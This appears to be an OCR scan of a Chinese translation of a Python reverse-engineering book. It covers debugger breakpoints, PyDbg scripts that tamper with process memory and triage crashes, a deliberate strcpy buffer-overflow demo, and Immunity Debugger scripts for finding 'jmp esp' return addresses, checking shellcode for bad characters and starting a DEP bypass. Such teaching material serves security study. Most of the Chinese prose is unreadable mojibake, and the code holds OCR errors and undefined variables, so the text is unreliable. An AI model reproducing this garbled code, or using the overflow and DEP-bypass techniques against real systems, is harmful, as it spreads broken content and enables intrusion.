length =1

# Check for a valid condition
if condition not in (HW_ACCESS, HW_EXECUTE, HW_WRITE):

return False

# Check for available slots

if not self.hardware breakpoints.has_key(0):
available = 0

elif not self. hardware breakpoints.has_key(1):
available = 1

elif not self. hardware breakpoints.has_key(2):
available = 2

elif not self. hardware breakpoints.has_key(3):



available =3
else:

return False

# We want to set the debug register in every thread
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)

# Enable the appropriate flag in the DR7
# register to set the breakpoint
context.Dr7 |= 1 << (available * 2)

# Save the address of the breakpoint in the
# free register that we found
if  available == 0:
context.Dr0 = address
elif available == 1:
context.Drl = address
elif available == 2:
context.Dr2 = address
elif available == 3:
context.Dr3 = address

# Set the breakpoint condition
context.Dr7 |= condition << ((available * 4) + 16)

# Set the length
context.Dr7 |= length << ((available * 4) + 18)

# Set thread context with the break set
h thread = self.open_thread(thread id)
kernel32.SetThreadContext(h_thread,byref(context))

# update the internal hardware breakpoint array at the used
# slot index.
self.hardware breakpoints[available] = (address,length,condition)

return True

WIS A R R 8, RATES T — AT AR W . —
HIRAR RN AL, 52T R 502 B W7 e () b SN 2 A7 48, 285X DR7 As &
LT RS S SR, B sl s BERAN TR REE AL ERAE R W 2 1, LR FRATEE B S 4
T pR E AN — > INT1 o B () 5 3 Ab 3



#my_debugger.py
class debugger():

def get debug_event(self):

if self.exception == EXCEPTION ACCESS VIOLATION:
print "Access Violation Detected."

elif self.exception == EXCEPTION BREAKPOINT:
continue_status = self.exception_handler breakpoint()

elif self.exception == EXCEPTION GUARD PAGE:
print "Guard Page Access Detected."

elif self.exception == EXCEPTION_SINGLE STEP:
self.exception_handler single step()

def exception_handler_single step(self):
# Comment from PyDbg:
# determine if this single step event occurred in reaction to a
# hardware breakpoint and grab the hit breakpoint.
# according to the Intel docs, we should be able to check for
# the BS flag in Dr6. but it appears that Windows
# isn't properly propagating that flag down to us.
if self.context.Dr6 & 0x1 and self.hardware breakpoints.has key(0):

slot=0

elif self.context.Dr6 & 0x2 and self.hardware breakpoints.has key(1):
slot=1

elif self.context.Dr6 & 0x4 and self.hardware breakpoints.has key(2):
slot=2

elif self.context.Dr6 & 0x8 and self.hardware breakpoints.has key(3):
slot=3

else:
# This wasn't an INT1 generated by a hw breakpoint

continue_status = DBG_EXCEPTION_NOT HANDLED
# Now let's remove the breakpoint from the list
if self.bp_del hw(slot):
continue_status = DBG_CONTINUE
print "[*] Hardware breakpoint removed."
return continue_status
def bp_del hw(self,slot):
# Disable the breakpoint for all active threads
for thread_id in self.enumerate threads():
context = self.get thread context(thread id=thread id)



# Reset the flags to remove the breakpoint
context.Dr7 &= ~(1 << (slot * 2))
# Zero out the address

if  slot==0:

context.Dr0 = 0x00000000
elif slot==1:

context.Drl = 0x00000000
elif slot == 2:

context.Dr2 = 0x00000000
elif slot == 3:

context.Dr3 = 0x00000000
# Remove the condition flag
context.Dr7 &= ~(3 << ((slot * 4) + 16))
# Remove the length flag
context.Dr7 &= ~(3 << ((slot * 4) + 18))
# Reset the thread's context with the breakpoint removed
h_thread = self.open_thread(thread id)
kernel32.SetThreadContext(h thread,byref(context))
# remove the breakpoint from the internal list.
del self.-hardware breakpoints[slot]
return True

AIRA 2 B 2 INTL fhrh Gk BIRH, SRR GH W5 7 e i Bl
PElr sl GEIL RN DR6) . U1RA REGS A AT A 4k EE . 58 W RAE K A 7 W st A B — A
BEFIT S, UK DR BOFR S B E, FEH A — a8 P R bt . k3B
my_test.py JFAE printf() L B FWT SEE

#my_test.py

import my_debugger

from my_debugger defines import *

debugger = my_debugger.debugger()

pid = raw_input("Enter the PID of the process to attach to: ")
debugger.attach(int(pid))

printf = debugger.func_resolve("msvcrt.dll","printf")

print "[*] Address of printf: 0x%08x" % printf
debugger.bp_set hw(printf,], HW_EXECUTE)
debugger.run()

EANMAAIRAE printf() F R E 7 — MW, RERARE, St ms g . W
PR — AN e IRBZIE R BT IX MR R AT SN T my debugger defines.py 3CfF;
NIV HW_EXECUTE 8%, X FE155 RefdiAQAS BE 15 .

BAT IR AR T



Enter the PID of the process to attach to: 2504
[*] Address of printf: 0x77c4186a

: 3 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
6 Thread ID:
2 Thread ID:
: 1 Thread ID:
[*] Exception address: 0x7¢901230

Event Code

Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:
Event Code:

Event Code

3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
3704
2228
2228

[*] Hit the first breakpoint.
Event Code: 4 Thread ID: 2228
Event Code: 1 Thread ID: 3704

[*] Hardware breakpoint removed.

Listing 3-4: AbFE—ANEE KT 25 4 1 7

—UIALETOR T, REFP R, ACERREFP R S . SRS R, R kAt
PEFATARG o« IUAEFRATH S B P i 48 SCRPRE A AR AR IR £ T, 50 R S I P9 A I i
ne .

3.4.3 AW A

BE N ESRIL DhRe e WA . R W T i 28 Bl — NN DUR R B 2 1
bk CGURIZE A AF P iR gl ). — HAfE 1 U R/, BB s B AR, A g
R (guard) BT, 24 CPU 22415 i X B (A7 R, Bt & H — > GUARD _PAGE_EXCEPTION
e FATHIXS LR R W AL B, R DU AURK B B LART, & ik R 24T .

N T RRHERR U B DU RN, B R REE WS BIRE AW AE TR BRA R/ i
1 GetSystemInfo() 28 558 i, PR B2 253 — > SYSTEM_INFO £5 ¥, IX /N 45 #4402 wPageSize
B, XA BRAE RGN AE TUERA RN
#my debugger.py



class debugger():
def init (self):

self.h_process = None
self.pid = None
self.debugger active = False
self.h_thread = None
self.context = None
self.breakpoints = {}
self.first breakpoint= True

self.hardware breakpoints = {}

# Here let's determine and store

# the default page size for the system
system_info = SYSTEM_INFO()
kernel32.GetSystemInfo(byref(system info))
self.page size = system_info.dwPageSize

S AR BINTURAN, BTN A5 A v ANz i) DO AR . 55— B ik RA T & )
WA A AE T N AE B — A 00T . W A VirtualQueryEx() o8 41, # & 7w — 4
MEMORY_BASIC_INFORMATION 54, X5 & 7 iUifE 5. sR ORI 2540 2 X an
T

SIZE T WINAPI VirtualQuery(
HANDLE hProcess,
LPCVOID IpAddress,
PMEMORY_ BASIC INFORMATION IpBuffer,
SIZE T dwLength
);
typedef struct MEMORY_ BASIC INFORMATION{
PVOID BaseAddress;
PVOID AllocationBase;
DWORD AllocationProtect;
SIZE T RegionSize;
DWORD State;
DWORD Protect;
DWORD Type;

LTI ) 45 7 T BaseAddress FRAE & FRATTEE 1 EOBURR R U A RS i hk o 42 R R A
VirtualProtectEx()i% BAPR, BREE AU -

BOOL WINAPI VirtualProtectEx(
HANDLE hProcess,



LPVOID IpAddress,
SIZE T dwSize,
DWORD fINewProtect,
PDWORD IpflOldProtect

IEEMEFS5MRE. RIGQE 2 ANERYIE, Kb MEmEaoakE8 7T
KR, A— NS THE R WNAER S, 7E43 GUARD PAGE _EXCEPTION 4 [ R
R 1S5 . 2 JRIRATELENT fitthht b, DU BRI XA AR o (R W bk 7T g
RS 2 AN TLIHD

#my_debugger.py

class debugger():
def init (self):

self.guarded pages =11
self.memory_breakpoints = {}

defbp set mem (self, address, size):
mbi = MEMORY_ BASIC INFORMATION()

# If our VirtualQueryEx() call doesn’t return
# a full-sized MEMORY_ BASIC INFORMATION
# then return False
if kernel32.VirtualQueryEx(self.h_process,
address,
byref(mbi),
sizeof(mbi)) < sizeof(mbi):

return False
current_page = mbi.BaseAddress

# We will set the permissions on all pages that are
# affected by our memory breakpoint.
while current_page <= address + size:

# Add the page to the list; this will

# differentiate our guarded pages from those

# that were set by the OS or the debuggee process
self.guarded pages.append(current page)

old_protection = ¢_ulong(0)



if not kernel32.VirtualProtectEx(self.h_process,
current_page, size,
mbi.Protect | PAGE GUARD, byref(old_protection)):
return False

# Increase our range by the size of the
# default system memory page size
current_page += self.page size

# Add the memory breakpoint to our global list
self.memory breakpoints[address] = (address, size, mbi)

return True

MAERN CERE R ENFEW AT o WERH LRI printf) fEIMERNNEN R, 1REE
ZI A B 2 (6 PR % Guard Page Access Detected. AN — 175, #e R 8 A
ST ARTAE, — BRIV ), siaiiil—A R, XEHE RG2S BRI R s
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PyDBG———4{ PYTHON &\ 52
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419 W S AL

FE T T A 55 P BATURAR 1 S0 A B2 R B BRI F AR 7 . ) PyDbg 7T AR
SR XA RE, R R R [ e e W] — SR S R (]
VAR BAT AT SO ERAE . LE sz URs etttk i Bt WE TETE 2 (MW A, BRAE N AR
TESERUE, FRHBRASE L RS, R R
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bp_set(address, description="",restore=True,handler=None)

address J& B 15 B W7 5 i hE, description Z80AT ik, RS B3N B A % B ME— 1 44 7
restore YLE [ Je 3 EAEWT b R LSS BT B, handler $i5 [ BT o i R S 3 FH (%) 1519 B
o Wrd B R R NS, B8R pydbgORMISEBIEXT R . FrA I LR SC8E, £
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A printf loop.py AWM H R, iEFATILI—A B E W B R E . X IRIRATLE printf()
R BN WA, DUE I E printfO)% H B B S 4L counter &, 2 JEH—A 1 E 100 k#
MBS X MR R AE, B EITEN K. i, JAVE/E BN, #I1, HFEX
BB S T AE . IXIEF EEK ! F i —A printf_random.py SCHF, BN N THIIARD .

#printf_random.py
from pydbg import *



from pydbg.defines import *

import struct

import random

# This is our user defined callback function
def printf randomizer(dbg):

# Read in the value of the counter at ESP + 0x8 as a DWORD
parameter _addr = dbg.context.Esp + 0x8
counter = dbg.read process memory(parameter addr,4)

# When we use read_process_memory, it returns a packed binary
# string. We must first unpack it before we can use it further.
counter = struct.unpack("L",counter)[0]

print "Counter: %d" % int(counter)

# Generate a random number and pack it into binary format
# so that it is written correctly back into the process
random_counter = random.randint(1,100)

random_counter = struct.pack("L",random_counter)[0]

# Now swap in our random number and resume the process

dbg.write_process_memory(parameter addr,random_counter)

return DBG_ CONTINUE
# Instantiate the pydbg class
dbg = pydbg()
# Now enter the PID of the printf loop.py process
pid = raw_input("Enter the printf loop.py PID: ")
# Attach the debugger to that process
dbg.attach(int(pid))
# Set the breakpoint with the printf randomizer function
# defined as a callback
printf address = dbg.func_resolve("msvert","printf")
dbg.bp_set(printf address,description="printf address",handler=printf randomizer)
# Resume the process
dbg.run()

BUAEIZ T printf loop.py A printf random.py P304 %tk 45 SR A1 4-1 AL

Table 4-1: 3/ {25 A2 2 0y
Output from Debugger Output from Debugged Process
Enter the printf loop.py PID: 3466 Loop iteration 0!

Loop iteration 1!

Loop iteration 2!



Loop iteration 3!

Counter: 4 Loop iteration 32!
Counter: 5 Loop iteration 39!
Counter: 6 Loop iteration 86!
Counter: 7 Loop iteration 22!
Counter: 8 Loop iteration 70!
Counter: 9 Loop iteration 95!
Counter: 10 Loop iteration 60!

NT RN, AERATEE printf loop.py LA
from ctypes import *
import time
msvert = cdll.msvert
counter = 0
while 1:
msvert.printf("Loop iteration %d!\n" % counter)
time.sleep(2)
counter +=1

SR EH— &, printfO)FE 52 HIX A counter & 3 BB H counter (¥ UL, w2 ULAE printf
bR P, TG 1 B B AN 22 5 B AN HTH)IX A counter(C 1 5 BT LI R A &6 FR4E A4 RE
IERIE M)

PRINZE R, TRESTE printf #5325 counter A8 & 4 FIRMEA B E T Wi A . X2
N counter HAFILBIMBECE N 4 T (XN TIERFERX LR, NEIRIHKE
BT, [FFEIR2E 3| printf_loop.py FIfI 45 R —EHH| 3 # L EHK . 2 4 BIRHE, printf()
by, PEBE counter 4% Bl BPAZ MR 320X AN AR HBR K, B VR 1 URE K4
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#buffer_overflow.py

from ctypes import *

msvert = cdll.msvert

# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer

buffer =c_char p("AAAAA")

# The overflow string

overflow ="A" * 100

# Run the overflow

msvecrt.strepy(buffer, overflow)

] # H 7E X A1) msvert.strepy(buffer, overflow), 52 [N Z & — M aEr, MfEiB25 R 5T
& — N E, B S overflow X {E FR A, HE Sk E XM E kA
(0x41414141414....) . AJHEIX /MR R TR R AR I . IAERA I EMiE 1 IS4,
PN RRATHFEE T .

#access_violation_handler.py

from pydbg import *

from pydbg.defines import *

# Utility libraries included with PyDbg
import utils

# This is our access violation handler
def check accessv(dbg):

# We skip first-chance exceptions
if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash synopsis()

dbg.terminate process()

return DBG_EXCEPTION NOT_HANDLED
pid = raw_input("Enter the Process ID: ")
dbg = pydbg()
dbg.attach(int(pid))
dbg.set callback(EXCEPTION ACCESS VIOLATION,check accessv)
dbg.run()

WAEIZ1T buffer_overflow.py, FFicd FEMIIES, ATCE T EEFLE 7 LLE FHIE1T.



AT access_violation_handler.py SCfF, f AMAE ;) PID. 24 1 &5 BN B AR LUE , 720
ENF R A AR TR, 52T RARBIZAE BIMER 4-1 RIS .
python25.dll:1e071cd8 mov ecx,[eax+0x54] from thread 3376 caused access
violation when attempting to read from 0x41414195 CONTEXT
DUMP
EIP: 1e071cd8 mov ecx,[eax+0x54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 (  11556304) -> @U™" B'Ox, 0 )Xb@|V'"L{O+H]$6 (heap)
ECX: 0021fe90 ( 2227856) -> 1$47/4|@%,\!$H8|!OGGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) -> VO'w'W (heap)
EDI: 1e071cd0 ( 503782608) -> N/A
ESI: 00284220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf448 ( 505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 ( 2227828) -> 2? BUH" 7|4|@%,\!$H8|!OGGBG) (stack)
+00: 00000000 ( 0) >N/A
+04: 1e063132 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(heap)
+0c: 00000000 ( 0) > N/A
+10: 00000000 ( 0) > N/A

+14: 00b055¢0 ( 11556288) > @F@U"" B'Ox,'0 )Xb@|V'"L{O+H]$ (heap)

disasm around:
0x1e071ccY int3
Oxle071cca int3
0Ox1e071ccb int3
Ox1le071ccc int3
Ox1le071ccd int3
Ox1le071cce int3
Ox1e071ccfint3
0x1e071cd0 push esi
0x1e071cdl mov esi,[esp+0x8]
0x1e071cdS mov eax,[esi+0x4]
0x1e071cd8 mov ecx,[eax+0x54]
0x1e071cdb test ch,0x40
Ox1e071cde jz Ox1e071cff
0x1e071ce0 mov eax,[eax+0xa4]
0x1e071ce6 test eax,eax
Ox1e071ce8 jz Ox1e071cf4
Ox1e071cea push esi
Ox1e071ceb call eax
Ox1e071ced add esp,0x4
0x1e071cf0 test eax,eax
0x1e071cf2 jz 0x1e071cff



SEH unwind:
0021ffe0 -> python.exe:1d00136¢ jmp [0x1d002040]
Tttt -> kernel32.d11:7c¢839aa8 push ebp

Listing 4-1: PyDbg fili #& 2| {1 7535t15 &

i TIRZ A IS B W AN e T AR A 51 R T U I S DL R dR A AR
AP XAME BT LA B RS H IR R R 3 B A8 20 B 2L 43 B i i e L
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43 FHERE

PyDbg & fit 7 —MEWE R DRE, MR . AN BERR bR IR, FRAT Tl e 6 KR ik
F, SREBGHERRRI W AF R o DUS 3R TAR B R [ B A 2 HPIR A, R B4 T AN Z1
PREEAT 1o

4.3.1 IS HFERER
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2 )5, H resume_all threads()Pk AT FIHEAE, IEFEFAREEIAT o HHEAI 2 FA 75 200
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#snapshot.py

from pydbg import *

from pydbg.defines import *
import threading

import time

import sys

class snapshotter(object):



def init (self,exe path):

self.exe path = exe_path
self.pid = None
self.dbg = None
self.running =True

# Start the debugger thread, and loop until it sets the PID

# of our target process

pydbg_thread = threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)

pydbg_thread.start()

while self.pid == None:
time.sleep(1)

# We now have a PID and the target is running; let's get a

# second thread running to do the snapshots

monitor_thread = threading. Thread(target=self.monitor debugger)
monitor_thread.setDaemon(0)

monitor_thread.start()

def monitor debugger(self):

while self.running == True:

input = raw_input("Enter: 'snap','restore' or 'quit")
input = input.lower().strip()

if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False
self.dbg.terminate process()

elif input == "snap":

print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot()

print "[*] Resuming operation."

self.dbg.resume_all threads()



—_—n

elif input == "restore":
print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Restoring snapshot."

self.dbg.process_restore()

print "[*] Resuming operation."

self.dbg.resume_all threads()
def start _debugger(self):
self.dbg = pydbg()

pid = self.dbg.load(self.exe_path)

self.pid = self.dbg.pid

self.dbg.run() exe path = "C:\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)

IS — 0 WA TS A R A — AN s, JF LR 3 B ARt ie . @i 22T i
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MAX INSTRUCTIONS C(FRATE MM AL EE ). i A RE SR E B —AN fa [ 1 e 44
FE AL FR AR N B (O, 22 R VE B crash BE#LTES . A1 HIRA TR
FIREFRE—D,

FahHS, 57 danger track.py, F A TS .

#danger_track.py

from pydbg import *

from pydbg.defines import *

import utils

# This is the maximum number of instructions we will log

# after an access violation

MAX INSTRUCTIONS =10

# This is far from an exhaustive list; add more for bonus points

dangerous_functions = {
"strcpy" :  "msvert.dll",
"strncpy" :  "msvert.dll",
"sprintf" :  "msvert.dll",
"vsprintf": "msvcrt.dll"

H

dangerous_functions_resolved = {}

crash_encountered = False

instruction_count =0

def danger handler(dbg):

# We want to print out the contents of the stack; that's about it

# Generally there are only going to be a few parameters, so we will

# take everything from ESP to ESP+20, which should give us enough
# information to determine if we own any of the data

esp_offset=0

print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]

print

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset +=4

print

\n
dbg.suspend_all threads()

dbg.process_snapshot()

dbg.resume_all threads()



return DBG_ CONTINUE
def access_violation handler(dbg):
global crash_encountered

# Something bad happened, which means something good happened :)
# Let's handle the access violation and then restore the process
# back to the last dangerous function that was called

if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash _synopsis()

if crash_encountered == False:
dbg.suspend _all threads()
dbg.process_restore()
crash_encountered = True

# We flag each thread to single step
for thread _id in dbg.enumerate threads():

print "[*] Setting single step for thread: 0x%08x" % thread_id
h thread = dbg.open_thread(thread id)
dbg.single step(True, h_thread)
dbg.close handle(h_thread)

# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all threads()
return DBG_ CONTINUE
else:
dbg.terminate process()

return DBG_EXCEPTION NOT HANDLED

def single step handler(dbg):
global instruction_count
global crash_encountered

if crash_encountered:
if instruction_count == MAX INSTRUCTIONS:
dbg.single step(False)



return DBG_ CONTINUE
else:

# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s" % (instruction_count,dbg.context.Eip,
instruction)
instruction_count += 1

dbg.single step(True)
return DBG_ CONTINUE

dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor: "))

dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():

func address = dbg.func_resolve( dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func_address, handler = danger handler )
dangerous_functions resolved[func address] = func
dbg.set_callback( EXCEPTION ACCESS VIOLATION, access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE STEP, single step handler )
dbg.run()
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| Immunity Debugger v1.73 ;. MOAR BEUGS. * Need support? wisit http://forum.immunityine. com. * | | Ready

K 5-1:Immunity X285 & AL

RS A 7 i 5 N FEERH. £ BAR CPU & M, Bon 1 IEELAE A B &I
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FORIRAT B IR AT A T AR 1, SR H R fARRD J5 1 R S (T
IR AE B AP o BN HE I E H a8, REET IR WindDbg — 48 F iy 45 i) 1
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.21 PyCommands

7£ Immunity F1 44T Python [¥] 772 B £ | PyCommands . PyCommands #f /& — > python
JELA SO, A7 E Immunity 2225 H 5% # PyCommands SC4-3¢ B . &/ python JHIA#$AT —
MME% (hooking, FEAHTESRF), MM T —A> PyCommand. % PyCommand #{H —1
FEE RIS . LRl — AN Ak A A

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()
return "[*] PyCommand Executed!"

PyCommand A N5 & %M. —A main)E %, RBW—NS8 (HTE S5 R T)
python 13D, 55— AN 5 5 A& 1E bR BUPAT 5E B I A AR [B] — /N E /5 8, e BT
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I<scriptname>

S5.2.2 PyHooks

Immunity WIRE T 13 SAFZEA hook. &F—Ff hook AP HEHLMMSLIL, B HRA
PyCommand.

BpHook/LogBpHook
AN R AR IR, X R hook MR . PN hook fRAHAL, FR'T BpHook #%
fik A BRI, 225 bR R 3RS, T LogBpHook AN 245 1E4% PR gk FE .

AllExceptHook
PP ) S 8 B #S 2 Al R I AN hook

PostAnalysisHook

FE— MY 3 BT 76 B IR, 3X A hook B #iAlAk « XAFFAH, ZHIRTELERLIL )
T 58 U 75— BT ERAS T % . 04T, 7EH immlib X — M HEAT iR HOR LAl
PRA AR 2 HIT A A5 3 i A AR

AccessViolationHook

XA hook HI V71 fl il A . H HT1E fuzz I B S AL 3245 2

LoadDLLHook/UnloadDLLHook
M —> DLL #00# sk 2 ) 25 0 B i ke

CreateThreadHook/ExitThreadHook
2N B 2R FE A S I T e A

CreateProcessHook/ExitProcessHook

2 H R BERE T U6 B0 S5 AR I s A

FastLogHook/STDCALLFastLogHook
XA hook A HI— ML gmibH , KA AT BURFE A2 B — Bt hook I HI LAIC 3R 52 27 47
ar, MANAFEEE o 2 R B B F X A hook ARHA HT s BB /N BEXE VEAN A .

PLF # LogBpHook ] TS EL RE AL /F Sy PyHook FIARAR -

from immlib import *
class MyHook( LogBpHook ):
def init (self):
LogBpHook. init ('self)



def run( regs ):
# Executed when hook gets triggered

FATER T LogBpHook 2%, FFH#E# . T runOEEL (21D . 24 hook #fih & OB 5%, BT
B CPU & fias, ANIBSHBHAFEN regs, BB AT AT MEREANT T o regs /&2 —NF
B, G0N U [ AH BB A A AR
regs["ESP"]

hook A] LASE A PyCommand H, FaEFAA . A7 LS SBEIATIA PyHooks H 3.
A Z) Immunity #2H S MEIX L H 5. 1 RE 4.

5.3 Exploit X

RO R — DI s, ERERPHER 2, ERRKM—RBEE. Ad
Immunity % [T TIXTUESM 7 VF2 LTI, FERIS RO AR . 5 REK
I K — 1% PyCommands PAfIIE exploit &K . 1X 4% PyCommands L 5¢ B% 1) U RE £ 4,
B E 1R 2B PATBUR % #2 21 shellcode, 4%t shellcode [ 2 3 Wi & 75 A 75 il 8
A FHFFF. ALK A PyCommand 774 findantidep 4¢3 DEP CARAFHAT R .

5.3.1 RHAGFHIAHIES

FEIRAT BIP HIZHIBLZ e, VRt ZOR AT BLBR e £2 2] shellcode. S5 50t 2, IR
— DA ARIR AR shellcodeo R AR B2 7E W] HRAT AR BL B 78 N B AL B B 4% 21 %
Fer|ar s A, Immunity SEALAIE R DGR TARRARE R, Bl T BN
TR ERAM . T RARAET.

#findinstruction.py
from immlib import *
def main(args):
imm = Debugger()
search_code =" "join(args)
search_bytes = imm.Assemble( search code )

search_results = imm.Search( search_bytes )
for hit in search_results:

# Retrieve the memory page where this hit exists

# and make sure it's executable

code page =imm.getMemoryPagebyAddress( hit)
access = code_page.getAccess( human = True )

if "execute" in access.lower():



imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ),
address = hit )
return "[*] Finished searching for instructions, check the Log window."

AV A EAL R ANS GER WA T2 EAIEMIES R ), SAJR1E Search() /7%
FEBEANFE P 1) A A7 25 TB) P L 5 X AN A i M bk 7E 3R [k 512 oy, 3R BB bk & 1
o FEEFN TR FTHAT I R B — DTG LIS T EN R R E 1. 72T &1
A AT I T A% A A 2o

!findinstruction <instruction to search for>
JIAIZ AT e f N CA S M S50,
!findinstruction jmp esp

i HH R SR 5-2

Foundz jm
Found:

Found:

Found:

Found: jm
Foundz jm
Found: jm
Found: jm
Foundz jm
Found: jm
Foundz jm
Foundz jm
Found: jm
Foundz jm

I!findinstructiun jmp esp

[¥] Finizhed zearching for instructionz, check the Log window.

K 5-2 !findinstruction PyCommand )%

MAERATCEA 7 — Mhhkp) %, Xl # A FRATH shellcode B THER (RTIRR
] shellcode Hitik i 7E ESP ). REANFIHREF A L Z 57, HEMMECEE T 1%
Pt AT A M bk T A, RIFE A .

532 IIEREEFRH

MR RIE— BORIAAM ISR AR RS, BT 54K AR, shellcode HVF# IMEIAT
AT, AR BATAN—A strepy OV HFORIL T G2 X i, AR AR S A Ret &



NULL £ (0x00). K 1y strepy() — 8 3| NULL £ gt a5 b 4% DUECHE . Rk, w7 2ok
shellcode #ifih, 7£H b W AAIAT fG PRI . SRTAT, 4624 & i A
T3 exploit 4 5 RM . LLWIARFHA 2 HNFR WY, BCE IR F T 7S MEEA
AL EE, X FRFASR T

— MBI, WERARIRAS T EIP I HIBR, R85 shellcode #il 177 17 45 843 crash H
b, ¥ ERE QR R G OEETT, #3550 — R AR mn, i IR R AR A5 2 R ik
TR fEIXR AT, BB FHEZIA shellcode #HER I E HIFI N A7 . Immunity fi
X TAEE R S . B 5-3 TR T H 2 G iR

Fegisters (FFPUI

ZA01CECH =

Figure 5-3: i i 2 J5 Immunity % & [



AR AL, EIP 21T EE AT ESP ) —4F . 4 ANFT5 1) 0xCC K a5 ) 5 i 45 1R AR,
AR E TR ERE THiA ( 0xCC FIINT3 (154 —HF). B85 4 N INT3 54, &
ESP+0x4 #& shellcode (174, FATH shellcode EAT {1 S 1¥) ASCII 4fidh, RJE— AT —4
FATHI LB N AF 1 shellcode FIFRAT R 1% shellcode B L ZER], WRE —NFERA—FE,
W B AR B I g 7E S B SO 2 R XN E AN shellcode s

REETE L CANVAS, Metasploit, 8 1% H A& shellcode. #1%E badchar.py SCAF,
BN LA ARAD
#badchar.py
from immlib import *
def main(args):

imm = Debugger()

bad char found = False

# First argument is the address to begin our search

address = int(args[0],16)

# Shellcode to verify

shellcode ="<<COPY AND PASTE YOUR SHELLCODE HERE>>"

shellcode length = len(shellcode)

debug_shellcode = imm.readMemory( address, shellcode length )

debug_shellcode = debug_shellcode.encode("HEX")

imm.log("Address: 0x%08x" % address)

imm.log("Shellcode Length : %d" % length)

imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])

imm.log("In Memory Shellcode: %s" % id_shellcode[:512])

# Begin a byte-by-byte comparison of the two shellcode buffers

count=0

while count <= shellcode length:

if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad_char found = True
break
count +=1
if bad_char found:
imm.log("[*¥****] ")
imm.log("Bad character found: %s" % debug_shellcode[count])
imm.log("Bad character original: %s" % shellcode[count])
imm.log("[*¥*¥***] ")

return "[*] !badchar finished, check Log window."

TR A A, FRATT & A Immunity ZE 1 H T readMemory()pA %, FlF B EIA H 2
] B R H B . BLTEAR TR BN RIK shellcode i ASCIT ﬁﬁﬁ%(izu%f ﬁ ¥ 0xEB 0x09,
il 5 IS VRG24 RS E 12 EB09), KHCREIE NIIA, JEHInNis

badchar <Address to Begin Search>



£ R ATHT I B b, AT M ESP+0x4 Hb bk (0xO0AEFDA4C) -3k, JiT DL 2 7
PyCommand AT W1 R iy 4

'badchar 0x00AEFD4c

FRATH BAAE A DA s 7 45 3 AR IRHBRE S22 A e o e KKk D AE7E 1 1K shellcode
S5t TA] o

5.3.3 241> windows [X] DEP

DEP j&—#fh7E windows(XP SP2, 2003, Vista) I SZHLH 22 A R4 Lk, AR B 1A
TEMECE HE AT . X REFHIEE® 2 BRI R A AL IZ 1T, BAKZ M exploit # 24
shellcode JA/EHERR o SRTIAH —NHI e W Seid DEP, FH SR A A0 (1) API i 4
NtSetInformationProcess(). & % [ 13 F2 1 DEP fR47, ¥ F2 ¢ 1 HAT AR # 72 2 shellcode
Immunity WX 24 T —4> PyCommand 74
findantidep.py BEIEIR 25 % $k 2] DEP [k, ibIRATE —FHIXA very very nice %L,

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

N T A IEFER DEP fR47 4%, 75 ZK NtSetInformationProcess() ]
ProcessInformationClass pf %% % B i ProcessExecuteFlags (0x22), ¥ ProcessInformation 2%
% E MEM_EXECUTE_OPTION ENABLE (0x2). [ /& 7F shellcode Hiffl XA sk 50K 2
I NULL Z5F . fRRII 7R B — A IEH W H T NtSetInformationProcess() [ AL, K
FATH shellcode 5 NLRNXAREE . O&HF — O AHI A ntdlldll B H Immunity
B4 ntdILdll $£ H XA

7C91D3F8  .3CO01 CMPAL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC  .5E POP ESI

7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA  >8975FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD  .“E9 41D5FDFF JMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0



7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 06A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
